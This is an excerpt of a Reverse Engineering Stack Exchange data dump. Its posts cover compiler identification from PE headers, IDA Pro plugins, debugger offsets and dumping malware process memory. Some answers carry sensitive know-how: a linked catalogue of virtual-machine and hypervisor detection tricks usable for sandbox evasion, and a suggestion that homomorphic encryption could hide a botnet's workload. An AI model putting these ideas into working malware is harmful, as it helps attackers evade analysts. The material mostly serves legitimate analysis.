  <row Id="1822" PostTypeId="2" ParentId="1812" CreationDate="2013-04-17T01:59:37.450" Score="8" Body="&lt;p&gt;Taking your hobby to a profession is a bigger deal than just knowing what you're doing. &lt;em&gt;Suddenly your hobby becomes 'work'&lt;/em&gt;. Can you deal with that? Or will the loss of enthusiasm hurt you? Also, you'll have to be much more collaborative in a job, where-as a hobby is often (mostly) a lone undertaking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the most important thing is making sure you are ready to take this step. I strongly recommend trying some small contract work projects to ensure that you can work equally well at your hobby when you're under pressure!&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="1563" LastEditDate="2013-04-18T11:14:46.917" LastActivityDate="2013-04-18T11:14:46.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1823" PostTypeId="5" CreationDate="2013-04-17T03:45:10.653" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-17T03:45:10.653" LastActivityDate="2013-04-17T03:45:10.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1824" PostTypeId="4" CreationDate="2013-04-17T03:45:10.653" Score="0" Body="Combination of executable code and data used to drive hardware devices and provide a first layer of software services prior to the operating system. Typical examples are BIOS, UEFI, the software running in a DSL router or a mobile phone." OwnerUserId="245" LastEditorUserId="53" LastEditDate="2013-12-21T15:09:39.293" LastActivityDate="2013-12-21T15:09:39.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1825" PostTypeId="7" CreationDate="2013-04-17T05:55:08.280" Score="0" Body="&lt;p&gt;&#xA;    Reverse Engineering Stack Exchange is for researchers and developers who explore the principles of a system through analysis of its structure, function, and operation.&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a question about ...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;software analysis (static or dynamic)&lt;/li&gt;&#xA;&lt;li&gt;disassembly or decompilation&lt;/li&gt;&#xA;&lt;li&gt;hardware analysis and testing&lt;/li&gt;&#xA;&lt;li&gt;tools commonly used for reverse engineering hardware or software&lt;/li&gt;&#xA;&lt;li&gt;deterring reverse engineering efforts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and it is not about ... &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;performance evaluation&lt;/li&gt;&#xA;&lt;li&gt;performance testing software&lt;/li&gt;&#xA;&lt;li&gt;forward engineering (hardware construction, software creation)&lt;/li&gt;&#xA;&lt;li&gt;bug hunting (debugging) during software development&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;… then you’re in the right place to ask your question!&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="189" LastEditDate="2013-04-17T05:55:08.280" LastActivityDate="2013-04-17T05:55:08.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1826" PostTypeId="2" ParentId="11" CreationDate="2013-04-17T06:57:13.243" Score="8" Body="&lt;p&gt;I guess the first thing you should do to determine the compiler version unless you literally mean the compiler version instead of linker version, is inspect the &quot;MajorLinkerVersion&quot; and &quot;MinorLinkerVersion&quot; fields of the PE header of the executable, be it EXE, DLL, or SYS. See list below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Major       Minor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x5         0x0   (5.0)             Borland C++ / MS Linker 5.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x6         0x0   (6.0)             Microsoft VIsual Studio 6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x7         0xA   (7.10)            Microsoft VIsual Studio 2003&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x8         0x0   (8.0)             Microsoft VIsual Studio 2005&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x9         0x0   (9.0)             Microsoft VIsual Studio 2008&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0xA         0x0   (10.0)            Microsoft VIsual Studio 2010&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x2         0x15  (2.21)            MinGw&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x2         0x19  (2.0.0.25)        Borland Delphi (linker 2.0.0.25)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, packers and protectors tend to overwrite these value to write their own and/or harden the process of guessing the original compiler. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the resource directory of an executable is a good place to search for specific linker info. e.g. RT_RCDATA having a resource named &quot;DVCLAL&quot; is a sign of Borland C++ or Delphi and the &quot;RT_MANIFEST&quot; in case of a MSVC-built executable can tell us about the specfic version of runtime DLL's it is linked to and hence the compiler version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, an executable with the &quot;TimeDateStamp&quot; field set to 0x2A425E19 is a sign of being built with Delphi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you want to determine compiler from assembly code, then the sign of a recent MSVC compiler version is seeing the function that generates the stack cookie just at the entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeming, a JMP instruction at the entry point followed by the string &quot;fb:C++Hook&quot; is a sign of Borland C++, and so on.&lt;/p&gt;&#xA;" OwnerUserId="1331" LastEditorUserId="1331" LastEditDate="2013-04-17T12:30:10.550" LastActivityDate="2013-04-17T12:30:10.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1827" PostTypeId="2" ParentId="1812" CreationDate="2013-04-17T07:21:17.917" Score="6" Body="&lt;p&gt;So you have some skills from your hobby, and you're considering moving to the next step, but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it's awesome to be paid to bring your hobby further&lt;/li&gt;&#xA;&lt;li&gt;you are not free to do it the way you want anymore&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To become a professional, you need to bring attention. 'Just' &lt;em&gt;publish&lt;/em&gt;, then &lt;em&gt;ask around&lt;/em&gt; to get feedback, and recognition.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;publish&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The format &lt;strong&gt;absolutely&lt;/strong&gt; does &lt;strong&gt;NOT&lt;/strong&gt; matter. &lt;strong&gt;Quality&lt;/strong&gt; does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While blogging is the standard way, but not necessarily &lt;em&gt;your&lt;/em&gt; personal favorite (My own website started as a Knoll, then a blog, and now Wiki pages on Google code, which suits me more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try and publish as you prefer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;format:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pure text: phrack, pastebin...&lt;/li&gt;&#xA;&lt;li&gt;formatted text: wiki, blog...&lt;/li&gt;&#xA;&lt;li&gt;full document: standalone PDF, articles in magazines&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;code:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;code snippets&lt;/li&gt;&#xA;&lt;li&gt;full source&#xA;&lt;ul&gt;&#xA;&lt;li&gt;with compiled binaries&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;content: it doesn't really matter, but think twice, as anything seen as offensive (even rootkit/exploit) may prevent you to get hired for good. Just get a different &lt;a href=&quot;http://www.slideshare.net/grugq/opsec-for-hackers&quot;&gt;persona&lt;/a&gt; if you feel like you want to ;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;make some sound&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;now that you have great contents, you need to get it actively known: Twitter, HackerNews, Reddit, forums. Actively ask for feedback, and discuss about it. Good feedback is pure gold, treasure it.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-04-17T07:21:17.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1828" PostTypeId="2" ParentId="1686" CreationDate="2013-04-17T07:53:34.647" Score="12" Body="&lt;p&gt;Here are some tricks for detecting VM's:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;VirtualBox&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/RU6A2UuB&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/RU6A2UuB&lt;/a&gt; (9 different methods, registry, dropped VBOX dlls, pipe names etc)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/xhFABpPL&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/xhFABpPL&lt;/a&gt;  (Machine provider name)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/v8LnMiZs&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/v8LnMiZs&lt;/a&gt; (Innotek trick)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/fPY4MiYq&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/fPY4MiYq&lt;/a&gt; (Bios Brand and Bios Version)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/Geggzp4G&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/Geggzp4G&lt;/a&gt; (Bios Brand and Bios Version)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/T0s5gVGW&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/T0s5gVGW&lt;/a&gt; (Parsing SMBiosData searching for newly-introduced or bizarre type)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/AjHWApes&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/AjHWApes&lt;/a&gt; (Cadmus Mac Address Trick)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/wh4NAP26&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/wh4NAP26&lt;/a&gt; (VBoxSharedFolderFS Trick)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/Nsv5B1yk&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/Nsv5B1yk&lt;/a&gt; (Resume Flag Trick)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;VirtualPc&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/wuqcUaiE&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/wuqcUaiE&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/VDDRcmdL&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/VDDRcmdL&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/exAK5XQx&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/exAK5XQx&lt;/a&gt; (Reset Trick)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/HVActZMC&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/HVActZMC&lt;/a&gt; (CPUID Trick)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Hypervisor detection&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pastebin.com/2gv72r7d&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/2gv72r7d&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Even though, I tried to make the code self explanatory, you can also refer to the corresponding blog posts for more detailed info.&lt;/p&gt;&#xA;" OwnerUserId="1331" LastEditorUserId="53" LastEditDate="2014-06-22T21:26:00.313" LastActivityDate="2014-06-22T21:26:00.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1829" PostTypeId="1" AcceptedAnswerId="1830" CreationDate="2013-04-17T10:02:42.920" Score="11" ViewCount="8866" Body="&lt;p&gt;I am just starting to use &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot;&gt;IDA Pro&lt;/a&gt;. After discussing a bit with the community, it seems that IDA Pro plugins and scripts are quite important to reach a good level of productivity while analyzing a program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some &lt;em&gt;must have&lt;/em&gt; plugins for IDApro that you would recommend for an everyday usage.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="70" LastEditDate="2013-04-17T11:47:18.943" LastActivityDate="2013-04-17T14:48:31.770" Title="Could you list some useful plugins and scripts for IDA Pro?" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="8" ClosedDate="2013-04-18T01:50:47.897" CommunityOwnedDate="2013-04-17T11:10:03.803" ContentLicense="CC BY-SA 3.0" />
  <row Id="1830" PostTypeId="2" ParentId="1829" CreationDate="2013-04-17T11:44:24.163" Score="10" Body="&lt;h1&gt;By Architecture&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;Generic helpers for reverse engineering of a specific architecture.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;ia32&lt;/h2&gt;&#xA;&lt;h2&gt;amd64&lt;/h2&gt;&#xA;&lt;h2&gt;ARM&lt;/h2&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;By Operating System&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;Generic helpers for reverse engineering of a specific operating system.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Windows&lt;/h2&gt;&#xA;&lt;h2&gt;Linux&lt;/h2&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;By Compiler&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;Generic helpers for reverse engineering of binaries generated using a specific compiler.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Microsoft Visual Studio&lt;/h2&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;http://www.openrce.org/downloads/details/196/Microsoft_VC++_Reversing_Helpers&quot; rel=&quot;noreferrer&quot;&gt;Microsoft Visual C++ Reversing Helpers&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;These IDC scripts help with the reversing of MSVC programs. One script scans the whole program for typical SEH/EH code sequences and comments all related structures and fields. The other script scans the whole program for RTTI structures and vftables.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2&gt;GCC&lt;/h2&gt;&#xA;&lt;h2&gt;Delphi&lt;/h2&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;http://www.openrce.org/downloads/details/61/Delphi_RTTI_script&quot; rel=&quot;noreferrer&quot;&gt;Delphi RTTI script&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This script deals with Delphi RTTI structures&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2&gt;Borland&lt;/h2&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;http://www.openrce.org/downloads/details/72/Borland_C++_Builder_RTTI_Support&quot; rel=&quot;noreferrer&quot;&gt;Borland C++ Builder RTTI&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Borland C++ Builder Run Time Type Information (RTTI) support for IDA Pro&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;By Technology&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;Generic helpers for reverse engineering of a technology.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;COM&lt;/h2&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;http://www.openrce.org/downloads/details/10/Com_Plugin_v1.2&quot; rel=&quot;noreferrer&quot;&gt;COM Plugin&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The plugin tries to extract the symbol information from&#xA;the typelibrary of the COM component. It will then set the&#xA;function names of interface methods and their parameters, and&#xA;finally add a comment with the MIDL-style declaration of the&#xA;interface method.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2&gt;Remote Procedure Call&lt;/h2&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;http://www.openrce.org/downloads/details/186/mIDA&quot; rel=&quot;noreferrer&quot;&gt;mIDA&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;mIDA is a plugin for the IDA disassembler that can extract RPC interfaces from a binary file and recreate the associated IDL definition. mIDA is free and fully integrates with the latest version of IDA (5.2 or later)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Cryptography&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;Generic helpers for reverse engineering of encryption and decryption algorithms.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Signature Based&lt;/h2&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;http://www.openrce.org/downloads/details/189/FindCrypt2&quot; rel=&quot;noreferrer&quot;&gt;FindCrypt2&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The idea behind it pretty simple: since almost all crypto algorithms use magic constants, we will just look for these constants in the program body.&#xA;The plugin supports virtually all crypto algorithms and hash functions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Deobfuscation&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;Plugins and scripts for removing obfuscations from disassembly.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;ia32&lt;/h2&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;http://code.google.com/p/optimice/&quot; rel=&quot;noreferrer&quot;&gt;Optimice&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Optimice applies common optimization techniques on obfuscated code to make it more readable/user friendly. This plugin enables you to remove some common obfuscations and rewrite code to a new segment.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="70" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-04-17T14:48:31.770" CommentCount="3" CommunityOwnedDate="2013-04-17T11:44:24.163" ContentLicense="CC BY-SA 3.0" />
  <row Id="1831" PostTypeId="2" ParentId="45" CreationDate="2013-04-17T12:23:22.090" Score="5" Body="&lt;p&gt;Fully homomorphic encryption is not as good as it might seem for obfuscating code.  While it is true that you could compute on an encrypted Turing machine, the benefits to obfuscating a closed system are not that great, simply for the reason that any input or output to the system must be encrypted or decrypted.  Thus any reverse engineering of the program would simply start by extracting the encryption keys from this encryption or decryption code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit only becomes substantial when the IO is encrypted and decrypted by a third party, in which case it &lt;em&gt;is&lt;/em&gt; impossible to decrypt the code without gaining access to that third party.  So in circumstances where you want to obfuscate a pure computation, you could use homomorphic encryption to run a fully opaque botnet.  For example, the controller could send hashes to crack or bitcoin data to mine, and it would be impossible to know from looking at the client what codes is being run without outside information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the key part here is that the encryption/decryption keys are stored remotely, and thus cannot be extracted from the obfuscated program.&lt;/p&gt;&#xA;" OwnerUserId="1764" LastActivityDate="2013-04-17T12:23:22.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1832" PostTypeId="2" ParentId="1817" CreationDate="2013-04-17T13:07:55.527" Score="9" Body="&lt;p&gt;Have you checked out the open-source &lt;a href=&quot;http://metasm.cr0.org&quot;&gt;Metasm framework&lt;/a&gt;? It is a ruby framework for assembly manipulation, and can compete with IDA's static analysis capabilities. It has a graph view, can do disassembly/decompilation on x86/64, MIPS, and PPC and supports a couple of executable file formats. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it has also been integrated into &lt;a href=&quot;http://www.metasploit.com/&quot;&gt;Metasploit&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="118" LastEditorUserId="245" LastEditDate="2013-04-17T16:51:19.163" LastActivityDate="2013-04-17T16:51:19.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1833" PostTypeId="1" AcceptedAnswerId="1834" CreationDate="2013-04-17T14:17:46.000" Score="11" ViewCount="12075" Body="&lt;p&gt;I'm currently trying to gain some practice in RE and I need some help for patching a DLL.&#xA;Here are my steps:&#xA;I first analyze the main program and the dll in IDA trying to understand the logic. I then switch to OllyDBG for patching. Well, the problem is, since Olly dynamically loads the dll (in contrast to the static standalone analysis in IDA), the offsets are different and I don't know how to find the offset that I've inspected in IDA.&#xA;Is there some easy way to &quot;rediscover&quot; the offset in the dll?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1768" LastActivityDate="2020-04-28T21:39:33.393" Title="How to find offsets in OllyDBG from IDA" Tags="|ida|ollydbg|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1834" PostTypeId="2" ParentId="1833" CreationDate="2013-04-17T14:50:53.563" Score="12" Body="&lt;p&gt;If only the base is changed, but offsets are constant (as I'd guess is the case), you can just rebase the program in IDA. You can do so by edit-&gt;segments-&gt;Rebase program ... menu. &#xA;Specifying the same starting base in IDA as is in Olly should help. Base may be different for numerous reasons, one of which might be ASLR.&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-04-17T14:50:53.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1835" PostTypeId="2" ParentId="1833" CreationDate="2013-04-17T15:05:11.713" Score="8" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there some easy way to &quot;rediscover&quot; the offset in the dll?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, here's the algorithm:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Target_Address_in_OllyDbg = Source_Address_in_IDA - Base_Address_in_IDA + Base_Address_in_OllyDbg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the definitions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Target_Address_in_OllyDbg&lt;/code&gt;: The target address in OllyDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Source_Address_in_IDA&lt;/code&gt;: The source address in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Base_Address_in_IDA&lt;/code&gt;: The base address of the disassembled module in IDA. You can find this value by going to &lt;em&gt;Edit --&gt; Segments --&gt; Rebase program...&lt;/em&gt; in IDA's menu bar. The &lt;em&gt;Value&lt;/em&gt; for &lt;em&gt;Image base&lt;/em&gt; in that dialog box is the &lt;code&gt;Base_Address_in_IDA&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Base_Address_in_OllyDbg&lt;/code&gt;: The base address of the target module in OllyDbg. You can find this value by pressing &lt;em&gt;Alt-E&lt;/em&gt; in OllyDbg (or by going to &lt;em&gt;View --&gt; Executable modules&lt;/em&gt; in OllyDbg's menu bar). Find your target module in the &lt;em&gt;Executable modules&lt;/em&gt; window; the leftmost field (&lt;em&gt;Base&lt;/em&gt;) is the &lt;code&gt;Base_Address_in_OllyDbg&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-04-17T15:05:11.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1836" PostTypeId="2" ParentId="1761" CreationDate="2013-04-17T15:39:35.937" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.moonsols.com&quot; rel=&quot;nofollow&quot;&gt;Moonsols&lt;/a&gt; is a great option, but I've noticed that there is no longer an option to purchase it and it makes me wonder if support has been stopped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, the best way to get started is with win32dd, win64dd, or &lt;a href=&quot;http://sourceforge.net/projects/mdd/files/&quot; rel=&quot;nofollow&quot;&gt;mdd&lt;/a&gt;.  Another option that is more automated is DumpIt (created by the maker of Moonsols).  I prefer mdd for most tasks, but I have not tested it on 64bit systems.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you're looking for, I tend to use file carvers like Scalpel to pick out everything that is recognizable.  Volatility is nice too, but personally I think learning how to recognize the file structures in a hex editor and carving them out will lead you to a better understanding of the dumped memory and what you're actually looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The newest version of scalpel is available in Backtrack r3, I just pulled it from there. As with the others, I have older copies that I use and they work just fine. DumpIt is still available at the MoonSols site and works great for 32 or 64bit, give it a shot: moonsols.com/2011/07/18/moonsols-dumpit-goes-mainstream &lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="90" LastEditDate="2013-04-17T17:32:15.993" LastActivityDate="2013-04-17T17:32:15.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1837" PostTypeId="2" ParentId="1541" CreationDate="2013-04-17T15:45:47.693" Score="3" Body="&lt;p&gt;For some good examples of usage of INT2d in Malware, check out Dr. Fu's blog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fumalwareanalysis.blogspot.com/p/malware-analysis-tutorials-reverse.html&quot; rel=&quot;nofollow&quot;&gt;http://fumalwareanalysis.blogspot.com/p/malware-analysis-tutorials-reverse.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 3 different examples and explanations, one is with Max++ which gives a good idea of what to expect in your own Malware samples.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2013-04-17T15:45:47.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1838" PostTypeId="2" ParentId="1761" CreationDate="2013-04-17T16:23:33.513" Score="5" Body="&lt;p&gt;As others have mentioned the first thing you should do is dump the memory with MoonSols. This will allow you to do  memory analysis using Volatility later. When it comes to malware analysis I find IDA the most useful. In order for it be useful you will need a process dump and a way to rebuild the import table. If the malware can spread to other processes I would create a dummy process, dump it then rebuild the import table. If for example the malware injects into iexplore.exe, open up Ollydbg change the debugging options events to System Breakpoint, open up iexplore.exe, then search for memory of RWX (described &lt;a href=&quot;http://hooked-on-mnemonics.blogspot.com/2013/03/working-with-injected-processes.html&quot;&gt;here&lt;/a&gt;). Check the contents of the memory, if it contains your memory malware dump the process and then rebuild the import table. If you need to manually rebuild the import table you can use the following &lt;a href=&quot;http://hooked-on-mnemonics.blogspot.com/2012/09/importing-ollydbg-addresses-into-ida.html&quot;&gt;script&lt;/a&gt;. If the process does not spread you could attach to the process via a debugger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I am the author of those links. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastEditorUserId="1425" LastEditDate="2013-04-17T17:16:28.980" LastActivityDate="2013-04-17T17:16:28.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1839" PostTypeId="1" CreationDate="2013-04-17T19:45:04.973" Score="7" ViewCount="3249" Body="&lt;p&gt;I'm trying to analyse a piece of malware and after finding the OEP I'm having trouble dumping the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using LordPE (and IDA) I get an error saying &quot;Couldn't grab process memory&quot;, I searched for this and resolved it by using the intellidump engine in LordPE. Although this produces an exe, the file doesn't have an icon. I also tried using OllyDump and get the error: &quot;Unable to read memory of debugged process...&quot;. I tried to fix this by modifying memory segments in Olly, setting their access to 'full access' however I'm still getting the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to use ImpREC on the dump from LordPE, I get sometimes get another error with similar gist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing there's some kind of memory protection going on here but really have no idea what to do next. Any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1771" LastActivityDate="2013-04-19T16:14:19.137" Title="Can't access process memory when dumping" Tags="|unpacking|dumping|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1840" PostTypeId="2" ParentId="1839" CreationDate="2013-04-17T19:54:18.043" Score="5" Body="&lt;p&gt;Try &lt;a href=&quot;http://cracking.z0ro.com/Reverse-Engineering/Unpackers-Dumpers-Decrypters/Iczelion%20Dump/iczdump.zip&quot;&gt;IczDump&lt;/a&gt; -- it works by injecting itself as a DLL into the target process and dumping the target process's memory from within the process itself.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-04-17T19:54:18.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
